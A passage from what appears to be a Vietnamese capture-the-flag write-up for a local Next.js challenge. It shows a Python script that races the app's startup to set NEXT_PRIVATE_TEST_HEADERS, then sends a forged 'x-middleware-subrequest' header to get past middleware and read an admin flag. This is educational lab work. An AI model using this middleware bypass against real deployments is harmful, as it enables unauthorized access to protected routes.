`NEXT_PRIVATE_TEST_HEADERS` 3. Nhưng làm sao để set được `NEXT_PRIVATE_TEST_HEADERS` -> race condition ![image](https://hackmd.io/_uploads/B1PssOsxex.png) in ra con ngựa là thành công ![image](https://hackmd.io/_uploads/SJZTo_oxge.png) ```python= import asyncio import httpx CHALL_URL = "http://localhost:8003" async def start_next(client): r = await client.post(f"{CHALL_URL}/start") r.raise_for_status() return r.text async def set_env(client, env: str): r = await client.post(f"{CHALL_URL}/csrf", data={"token": env}) if r.status_code == 500: # it's fine, env var was set anyway pass return r.text async def get_flag(client): headers = { #"x-nextjs-data": "1", "x-middleware-subrequest": "src/middleware:src/middleware:src/middleware:src/middleware:src/middleware" # } r = await client.get(f"{CHALL_URL}/admin/flag", headers=headers) return (r.status_code, r.text) async def main(): # thiết lập ham main async with httpx.AsyncClient(timeout=None) as client: # thiết lập client starter = asyncio.create_task(start_next(client)) # tạo task await asyncio.sleep(1) # mini race to set env var print(await set_env(client, "NEXT_PRIVATE_TEST_HEADERS")) # set env var print(await starter) await asyncio.sleep(1) # wait for the nextjs app to start _, html = await get_flag(client) if "fake{" in html: print("🐴🐴🐴🐴") #print(html) if __name__ == "__main__": asyncio.run(main()) ```